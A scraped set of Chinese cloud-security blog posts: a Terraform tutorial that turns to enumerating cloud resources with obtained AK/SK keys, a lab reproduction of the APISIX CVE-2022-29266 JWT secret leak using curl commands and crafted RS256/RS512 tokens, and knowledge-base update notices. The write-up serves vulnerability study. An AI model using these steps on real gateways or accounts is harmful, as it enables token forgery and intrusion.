如果你还想找到更多云安全资源进行学习,可以访问 Awesome Cloud Security 项目,该项目当前已经收录了上百余条国内外云安全博客、工具、公众号等资源,项目地址:https://github.com/teamssix/awesome-cloud-security
]]>参考文章:https://cloudsec.huoxian.cn/docs/articles/aliyun/aliyun_ecs
更多信息欢迎关注我的个人微信公众号:TeamsSix
T Wiki 在 4 月 16 日上线,5 月份以来依然收到不少师傅的支持与反馈,此时正好到月末,特此整理下这段时间来 T Wiki 上所更新的内容,如果你还不知道 T Wiki 是什么,可以查看这篇文章T Wiki 云安全知识文库上线,或者访问 T Wiki 地址: wiki.teamssix.com
自 5 月 1 日至 5 月 31 日,T Wiki 总共收到了 4 位师傅的补充,分别为 m4d3bug、Idle Life、da Vinci【达文西】、tanger
m4d3bug
Idle Life
da Vinci【达文西】
tanger
TeamsSix
《Terraform 使用入门以及在云上攻防中的作用》
《S3 任意文件上传》
《Bucket Object 遍历》
《RDS 信息收集》
《MSSQL 读取实例信息》
《PostgreSQL 数据库 SSRF》
《利用 IAM 进行权限提升》
《利用 IAM 进行权限维持》
《在 AWS 下查看自己所拥有的权限》
Awesome Cloud Security 项目是一个云安全资源汇总的项目,这个项目内容会和 T Wiki 云安全资源板块同步更新,Awesome Cloud Security 项目地址:github.com/teamssix/awesome-cloud-security
]]>更多信息欢迎关注我的个人微信公众号:TeamsSix
Terraform 是一种资源编排工具,通过它可以很方便的去构建云服务资源,本文将以「在腾讯云上创建一个 COS 存储桶」为例进行演示。
Terraform 官方下载页面:terraform.io/downloads ,在这里找到自己的系统进行安装即可。
目前 Terraform 基本已经支持了大部分主流的云服务厂商,在 registry.terraform.io/browse/providers 中可以看到其所支持的云服务厂商。
本文中将使用腾讯云作为演示,在平时使用 Terraform 时会频繁的去参考官方文档,其腾讯云的官方文档地址为:registry.terraform.io/providers/tencentcloudstack/tencentcloud/latest/docs
首先创建一个文件夹(这里文件夹名称为 cos_bucket_demo),并新建以下文件。
.└── cos_bucket_demo ├── README.md ├── main.tf ├── output.tf ├── terraform.tfvars ├── variables.tf └── version.tf
可以看到在 cos_bucket_demo 文件夹中,有多个 tf 后缀的文件,其实这些 tf 文件里的代码都可以写到一个 tf 文件里,但一般为了规范些,还是建议分多个 tf 文件去写,一个文件夹对应一个 tf 场景。
接下来,我们来看看每个 tf 文件里都有哪些内容。
version.tf 一般是放和版本信息有关的代码,例如这里就是声明了 Provider 来源为 tencentcloud 且版本为 1.72.5,Provider 在这里可以理解成「提供云服务的厂商」的意思。
terraform { required_providers { tencentcloud = { source = "tencentcloudstack/tencentcloud" version = "1.72.5" } }}
如果经常使用某个云的 Provider,建议指定固定的版本,这样在开启插件缓存后,每次初始化 Terraform 时,就不会因为 Provider 有更新了而要重新下载它,同时还会避免因为 Provider 更新导致代码不可用或者出现告警的情况。
开启插件缓存方法可以参考:wiki.teamssix.com/CloudNative/Terraform/terraform-enable-plugin-cache.html
variables.tf 里一般会写上变量的声明,例如这里需要声明腾讯云的 secret id 和 secret key 变量。
variable "tencentcloud_secret_id" { type = string description = "Set Tencent Cloud secret id." sensitive = true nullable = false}variable "tencentcloud_secret_key" { type = string description = "Set Tencent Cloud secret key." sensitive = true nullable = false}
其中 variable 后面的是变量名称,type 指定变量类型,description 用来描述变量的用途,sensitive 用来指定变量是不是敏感信息,nullable 用来指定变量是不是可以为空。
terraform.tfvars 文件比较简单,在这里可以写上变量的值,这样在运行 Terraform 的时候,就不用从命令行中去指定变量了。
如果没有该文件,那么在执行 Terraform 代码时,Terraform 就会在命令行中提示输入这些变量。
tencentcloud_secret_id = "xxx"tencentcloud_secret_key = "xxx"
output.tf 文件里一般会指定要输出的内容,这里要输出的是 COS Bucket 的地址。
output "tencent_cloud_cos_bucket_name" { value = "https://${tencentcloud_cos_bucket.cos_bucket_demo.cos_bucket_url}" description = "This is the bucket name of Tencent Cloud COS."}
最后 main.tf 一个就是最核心的文件了。
provider "tencentcloud" { secret_id = var.tencentcloud_secret_id secret_key = var.tencentcloud_secret_key region = "ap-beijing"}resource "tencentcloud_cos_bucket" "cos_bucket_demo" { bucket = "teamssix-${random_string.random_suffix.result}-${data.tencentcloud_user_info.foo.app_id}"}resource "random_string" "random_suffix" { length = 7 special = false upper = false}data "tencentcloud_user_info" "foo" {}
首先在 provider 块中指定了腾讯云的 secret id 和 secret key 以及 region,接着使用 tencentcloud_cos_bucket resource 块用来创建存储桶。
由于腾讯云的 Bucket 名称中包含了使用者的 APP ID,所以这里还使用了 tencentcloud_user_info data 块,用来获取当前用户的 APP ID,同时为了避免 Bucket 名称重复,这里使用了 random_string resource 块用来生成一个随机数。
最后,就可以执行这些代码了。
首先,将终端路径切到 cos_bucket_demo 文件夹下,运行初始化命令。
terraform init
该命令会识别当前文件夹里的 tf 文件中所使用到的 Provider,然后去下载它。
如果提示 Error: Failed to install provider,大多数情况是因为网络的问题,可以在终端里设置代理后再次尝试。
然后运行以下命令,该命令会检查当前代码是否存在问题,如果没问题就会给出接下来将要执行的计划。
terraform plan
最后,确认没问题后,就可以应用这个代码了。
terraform apply
在执行该命令的时候,会提示 Enter a value,这时如果确认无误,就输入 yes 即可,最后就可以在 Outputs 中看到 Bucket 的 URL 了。
这时,在腾讯云控制台的存储桶列表中,就可以看到我们刚才创建的存储桶了。
这样,我们就完成了利用 Terraform 创建云服务资源的过程,如果想要销毁这个资源也很容易,直接运行以下命令即可。
terraform destroy
通过上面的内容,可以看到 Terraform 可以调用云厂商的 AK、SK 进行云服务资源的创建与获取,作为安全人员,我们可以利用这个特性进行云上服务的批量信息收集,下面以 COS、CVM、CAM 的信息收集为例。
将 output.tf 改为以下内容
output "tencent_cloud_cos_bucket_list" { value = data.tencentcloud_cos_buckets.cos_buckets.bucket_list}output "tencent_cloud_cvm_instances_list" { value = data.tencentcloud_instances.cvm_instances.instance_list}output "tencent_cloud_cam_users_list" { value = data.tencentcloud_cam_users.cam_users.user_list}
将 main.tf 改为以下内容
provider "tencentcloud" { secret_id = var.tencentcloud_secret_id secret_key = var.tencentcloud_secret_key region = "ap-beijing"}data "tencentcloud_cos_buckets" "cos_buckets" {}data "tencentcloud_instances" "cvm_instances" {}data "tencentcloud_cam_users" "cam_users" {}
然后应用代码,就可以获取到 COS、CVM、CAM 的相关信息了,如果想获取其他的信息,可以在 Provider 腾讯云官方文档中找到。
从站在安全人员的角度来说,我们完全可以通过 Terraform 打造一个独属于自己的全云场景覆盖的 AK、SK 利用工具,而且我们不用自己调取、调试任何 SDK,可以说是潜力无限了。
通过 Terraform 进行信息收集的这个想法来自 tanger 师傅
Terraform 的内容远远不止上面说的这些,官方文档对它的介绍也足够详细,同时现在也有了由第三方翻译的中文文档:lonegunmanb.github.io/introduction-terraform
另外在 T Wiki 中,还有一些 Terraform 其他资料,比如 Terraform 可视化、代码安全检查的方法等等,也可以作为扩展阅读:wiki.teamssix.com/CloudNative/Terraform
如果你在编写 Terraform 代码的时候,想找一些其他人写的代码进行参考,那么不妨看看 TerraformGoat 这个项目:github.com/HuoCorp/TerraformGoat
最后建议自己在编写 Terraform 代码的时候,多看官方文档,多用英文去搜索,多用官方文档的代码,可以在很大程度上提高自己的效率。
]]>更多信息欢迎关注我的个人微信公众号:TeamsSix
CVE-2022-29266 这个漏洞已经出现有些时间了,正好现在有时间,网上也出现了不少分析文章,今天来看看这个漏洞。
在 2.13.1 之前的 Apache APISIX 中,由于 APISIX 中的 jwt-auth 插件依赖于 lua-resty-jwt 库,而在 lua-resty-jwt 库返回的错误信息中可能会包含 JWT 的 sceret 值,因此对于开启了 jwt-auth 插件的 APISIX 存在 JWT sceret 的泄露,从而造成对 JWT 的伪造风险。
低于 2.13.1 的 Apache APISIX 全部版本。
Apache APISIX 是一个由 Apache 基金会孵化的一个开源的云原生 API 网关,具有高性能、可扩展的特点,与传统的 API 网关相比,APISIX 是通过插件的形式来提供负载均衡、日志记录、身份鉴权、流量控制等功能。
JSON Web Token 缩写成 JWT,常被用于和服务器的认证场景中,这一点有点类似于 Cookie 里的 Session id
JWT 支持 HS256、RS256、RS512 等等算法,JWT 由三部分构成,分别为 Header(头部)、Payload(负载)、Signature(签名),三者以小数点分割。
JWT 的第三部分 Signature 是对 Header 和 Payload 部分的签名,起到防止数据篡改的作用,如果知道了 Signature 内容,那么就可以伪造 JWT 了。
JWT 的格式类似于这样:
Header.Payload.Signature
实际遇到的 JWT 一般是这种样子
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
首先根据官方仓库的漏洞修复代码定位到 /apisix/plugins/jwt-auth.lua 文件的第 364 行,如果 JWT 无效则在 return 返回 401 并给出无效的原因,即 jwt_obj.reason
接着在 lua-resty-jwt 库中找到 lib/resty/jwt.lua 文件,在 jwt.lua 文件的 782 行中,可以看到有个 jwt_obj.reason 中包含了 secret,这里代码的意思是说,如果程序执行正常就返回 secret 的值,否则就返回具体的异常信息。
.. 表示字符串拼接,即把后面代码的值拼接到字符串中
err and err or secret 所表示的意思是:如果 err 为 nil,则返回 secret 的值,否则返回 err
那么接下来要做的就是怎么样构建 payload 才能让代码进入到第 782 行,从而让 jwt_obj.reason 返回我们想要的 secret 呢?那么就要看看 782 行上面的代码。
通过上图可以看到,如果想执行到第 782 行,需要满足四个条件,分别如下:
~= 表示不等于
首先,第一个条件,JWT 的算法需要是 RS256 或者 RS512,这个很简单,只需要 JWT 的 header 部分的 alg 参数为 RS256 或者 RS512 即可。
接着,第二个条件,trusted_certs_file 即信任证书文件,APISIX 默认算法是 HS256,而 HS256 和 HS512 不支持这种证书文件的方式,因此只要我们使用 HS256 或者 HS512 算法就行了。
然后,第三个条件,secret 值不能为 nil,当 APISIX 使用 jwt-auth 插件的时候,如果使用的默认算法,就需要指定 secret 的值,那么这个 secret 的值就不会是 nil 了。
最后,第四个条件,cert 的值需要为 nil 或者 false,在 776 行至 779 行的代码中,可以看到会判断 secret 中有没有 CERTIFICATE 和 PUBLIC KEY,如果有那么 cert 就不会是 nil 了,那么也就是说,只要 secret 中没有 CERTIFICATE 和 PUBLIC KEY,代码就会执行到第 782 行,并且返回 secret 的值。
所以分析到这里就基本清楚了,漏洞利用的前提有以下三个:
如果满足了这三个前提,当我们利用 RS256 或者 RS512 的 JWT 值发送给 APISIX 的时候,我们就会得到 jwt-auth 中的 secret,从而实现 JWT 伪造了。
那么下面就开始搭环境,复现,顺便验证下漏洞分析的正确性。
在 VulnHub 上有 APISIX CVE-2020-13945 漏洞的靶场,APISIX 版本为 2.11.0,因此我们可以直接用这个靶场作为 CVE-2022-29266 的靶场进行复现。
环境搭建命令:
git clone https://github.com/vulhub/vulhub.gitcd vulhub/apisix/CVE-2020-13945docker-compose up -d
访问 http://your-ip:9080 地址即可
首先需要一个 RS256 算法的 JWT 值,这里为了方便直接在 jwt.io 中生成,只需要将算法改为 RS256,Payload 改为以下内容即可,注意 Payload 中的 key 值需要和下面创建 consumer 对象时的 key 一致。
{"key": "rs-key"}
生成的 JWT 值如下:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.mF27BBWlXPb3fTiFufhcL3K9y99b8kioMmp7eMwRhB1kZjK62aJ_R6SB0A_Kmym8a7U2S3zYLue9mkD4FGGmhwmkmUGppjZdtwfxrZc7JvvdpJbihNGxdfn9ywUspr6DX831e29VAy1DnLT6cU8do_9MFklxrRbhTVpDOsOADEhh6Q5zdTKPz3h5pKHSQYO4y5Xd0bmRM7TqRvhfIRchmvroaJBQjP6TrDrN_x2elRpPsuabYmCNH_G7m6x5ouf0bqoOkOmsk3alJ6zNZFDY6-aTS4vDD8SDlSbAXkCh5DN-C10YQ6ZYWUGmcbap7hQhaIVJRlZRtaXMFbmabLwhgg
接着创建一个 consumer 对象,并设置 jwt-auth 的值,默认是 HS256 算法,secret 值为 teamssix-secret-key
curl http://127.0.0.1:9080/apisix/admin/consumers -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '{"username": "jack","plugins": {"jwt-auth": {"key": "rs-key","secret": "teamssix-secret-key"}}}'
然后再创建 Route 对象,并开启 jwt-auth 插件
curl http://127.0.0.1:9080/apisix/admin/routes/1 -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '{"methods": ["GET"],"uri": "/index.html","plugins": {"jwt-auth": {}},"upstream": {"type": "roundrobin","nodes": {"0.0.0.0:80": 1}}}'
这时其实漏洞环境才算搭好,接下来就可以开始发送 Payload 了。
将刚才由 RS256 算法生成的 JWT 值发送给 HS256 算法验证的路由,这样就可以获得刚才设置的 secret 值了。
curl http://127.0.0.1:9080/index.html?jwt=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.mF27BBWlXPb3fTiFufhcL3K9y99b8kioMmp7eMwRhB1kZjK62aJ_R6SB0A_Kmym8a7U2S3zYLue9mkD4FGGmhwmkmUGppjZdtwfxrZc7JvvdpJbihNGxdfn9ywUspr6DX831e29VAy1DnLT6cU8do_9MFklxrRbhTVpDOsOADEhh6Q5zdTKPz3h5pKHSQYO4y5Xd0bmRM7TqRvhfIRchmvroaJBQjP6TrDrN_x2elRpPsuabYmCNH_G7m6x5ouf0bqoOkOmsk3alJ6zNZFDY6-aTS4vDD8SDlSbAXkCh5DN-C10YQ6ZYWUGmcbap7hQhaIVJRlZRtaXMFbmabLwhgg -i
当我们拿到这个 sceret 值后,就可以伪造 JWT Token 了。
那么根据上面的漏洞分析,这里如果使用 RS512 算法应该也能触发这个漏洞,在 jwt.io 上生成 RS512 的 JWT 值如下:
eyJhbGciOiJSUzUxMiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.bMCMT2wCP8X6duvDDuaR232ae3XkA3d2g-FKvI-D73sk8nTRWZEfovoh_FFi5PquyC81J5i5bED-rh1RMuDHlJVMYDKTP-EPdoRxugBdCCq9iEL3A004PTQM21rWLcPe1SOqp2Qvcf41iH-5r5Zs5cuAraQm4qFyhooCziSIPNnbyb8VUMx6k7fGS-WIBMVti-SjG5dEGLwAckCjc_XYMPrHqMRFYU_sB6jY05xX_9u5PFnuOQiu-q3c7gZLHdVSzHeYQGct-nrjcrM2VHvdkMIwMOr25UMhu200HFDhpLXuWpic7WC-rtztTZOtZne7UZ4s6MlnJavZiXWEq3Ovew
利用 curl 访问
curl http://127.0.0.1:9080/index.html?jwt=eyJhbGciOiJSUzUxMiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.bMCMT2wCP8X6duvDDuaR232ae3XkA3d2g-FKvI-D73sk8nTRWZEfovoh_FFi5PquyC81J5i5bED-rh1RMuDHlJVMYDKTP-EPdoRxugBdCCq9iEL3A004PTQM21rWLcPe1SOqp2Qvcf41iH-5r5Zs5cuAraQm4qFyhooCziSIPNnbyb8VUMx6k7fGS-WIBMVti-SjG5dEGLwAckCjc_XYMPrHqMRFYU_sB6jY05xX_9u5PFnuOQiu-q3c7gZLHdVSzHeYQGct-nrjcrM2VHvdkMIwMOr25UMhu200HFDhpLXuWpic7WC-rtztTZOtZne7UZ4s6MlnJavZiXWEq3Ovew -i
果然使用 RS512 算法同样可以触发,说明漏洞分析的没毛病。
接着看看如果 secret 中包含了 CERTIFICATE 和 PUBLIC KEY 字符串,会返回什么。
重新开一个环境后,创建一个 consumer 对象,这次 secret 设置为 teamssix-CERTIFICATE
curl http://127.0.0.1:9080/apisix/admin/consumers -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '{"username": "jack","plugins": {"jwt-auth": {"key": "rs-key","secret": "teamssix-CERTIFICATE"}}}'
创建 Route 对象,并开启 jwt-auth 插件
curl http://127.0.0.1:9080/apisix/admin/routes/1 -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '{"methods": ["GET"],"uri": "/index.html","plugins": {"jwt-auth": {}},"upstream": {"type": "roundrobin","nodes": {"0.0.0.0:80": 1}}}'
触发漏洞
curl http://127.0.0.1:9080/index.html?jwt=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.mF27BBWlXPb3fTiFufhcL3K9y99b8kioMmp7eMwRhB1kZjK62aJ_R6SB0A_Kmym8a7U2S3zYLue9mkD4FGGmhwmkmUGppjZdtwfxrZc7JvvdpJbihNGxdfn9ywUspr6DX831e29VAy1DnLT6cU8do_9MFklxrRbhTVpDOsOADEhh6Q5zdTKPz3h5pKHSQYO4y5Xd0bmRM7TqRvhfIRchmvroaJBQjP6TrDrN_x2elRpPsuabYmCNH_G7m6x5ouf0bqoOkOmsk3alJ6zNZFDY6-aTS4vDD8SDlSbAXkCh5DN-C10YQ6ZYWUGmcbap7hQhaIVJRlZRtaXMFbmabLwhgg -i
可以看到,这里并没有返回刚才设置的 secret 值,而是返回了 not enough data,即 err 的信息,这表明此时 cert 的值已经不为 nil 了,再次证明了上面的分析。
观察 APISIX 的漏洞修复信息,可以看到对 jwt-auth.lua 文件的第 364 和 395 行进行了修改,修复信息地址:https://github.com/apache/apisix/commit/61a48a2524a86f2fada90e8196e147538842db89
这里是将原来的直接返回报错原因改成了返回 JWT token invalid 和 JWT token verify failed 的文本信息。
这个漏洞最终造成的风险是 JWT 伪造,但前提是需要对方的 APISIX 开启了 jwt-auth 插件才行,并且如果有细心的读者可能会发现,当我们构造 RS256 算法的 JWT 时,需要先知道目标 APISIX consumer 对象的 key 值,因此这个漏洞利用起来还是有一定限制的。
这篇文章也已经同步到了 T Wiki 云安全知识文库中,文库地址:wiki.teamssix.com,文库中都是云安全相关的文章,并且有很多来自大家共同贡献的云安全资源,也非常欢迎你一起来补充 T Wiki 云安全知识文库。
由于笔者个人的技术水平有限,因此如果文章中有什么不正确的地方,欢迎在留言处指正,不胜感激。
]]>更多信息欢迎关注我的个人微信公众号:TeamsSix
参考链接:
https://www.jianshu.com/p/1b2c56687d0d
https://teamssix.com/211214-175948.html
https://apisix.apache.org/blog/2022/04/20/cve-2022-29266
https://zone.huoxian.cn/d/1130-apache-apisix-jwt-cve-2022-29266
T Wiki 自 4 月 16 日上线以来,收到不少师傅的支持与反馈,此时正好到月末,特此整理下这段时间来 T Wiki 上所更新的内容,如果你还不知道 T Wiki 是什么,可以查看这篇文章T Wiki 云安全知识文库上线,或者访问 T Wiki 地址: wiki.teamssix.com
自 4 月 16 日至 4 月 30 日,总共收到了 7 位师傅的补充,分别为 1derian、ShangRui-hash、半人间丶、UzJu、Idle Life、zhengjim、zxynull
补充内容如下:
1derian & ShangRui-hash
半人间丶
UzJu
Idle Life
zhengjim
zxynull
共计 36 条补充更新,再次感谢各位师傅。
Awesome Cloud Security 项目是一个云安全资源汇总的项目,这个项目内容会和 T Wiki 云安全资源板块同步更新,Awesome Cloud Security 项目地址:github.com/teamssix/awesome-cloud-security
欢迎大家一起来贡献 Awesome Cloud Security 项目,一旦收到师傅们的补充贡献,Awesome Cloud Security 项目和 T Wiki 中就会出现师傅你的 ID 和头像。
创建 T Wiki 和 Awesome Cloud Security 项目的起因都是因为笔者在学习云安全的过程中,发现国内这块资源属实不多,于是便想着把自己学习过程中所收集到的一些资源以及自己的笔记公开出来,希望帮助到有需要的人。
“知识思想交换时出现的情况是 1+1>4。不同的思想进行交换的时候,交换双方不仅保留了自己的思想,获得了对方的思想,而且在交流中还碰撞出火花,创造出全新的思想。” —— 摘自由李录著作的《文明、现代化、价值投资与中国》
我们一起补充,知识共享、互相学习,这样国内云安全资源的获取门槛就会越来越低,我们每个人会发展越来越好,国内的云安全发展也会越来越好。
]]>更多信息欢迎关注我的个人微信公众号:TeamsSix
T Wiki
是一个面向云安全方向的知识库,这一点是和其他文库最大的不同,也许这是国内第一个云安全知识文库?
搭建这个文库的起因是笔者发现在云安全方向的中文资料属实不多,少有的这些资料也很散乱,于是搭建了这个文库。
文库的地址为:wiki.teamssix.com
首先来看文库首页,文库主要分成了三个板块,分别为云服务
、云原生
、云安全资源
首先来看云安全资源
板块,这个板块是我个人觉着整个知识库较为与众不同的地方,在这里可以看到汇总的云安全资源,比如云安全相关的文章、公众号、工具、靶场等等。
这部分的内容我也同步到了 Github 上单独作为一个项目,项目名称叫做 awesome-cloud-security,项目地址为:https://github.com/teamssix/awesome-cloud-security
如果你知道一些比较好的云安全资源,欢迎留言补充,我会更新到这个板块中,首页的贡献者处也将出现你的身影。
在云服务
板块可以看到云服务方向的文章、笔记
在云原生
板块可以看到云原生方向的文章、笔记
目前文库的东西不算多,不过未来会不断更新,如果想要投稿,那么在关于文库
中可以找到投稿的方式。
相信通过这些资料能够在一定程度上帮助想要学习或者正在学习云安全的人,同时也欢迎读者一起来完善这个文库,从而帮助到更多的人,一起助力国内云安全的发展。
]]>更多信息欢迎关注我的个人微信公众号:TeamsSix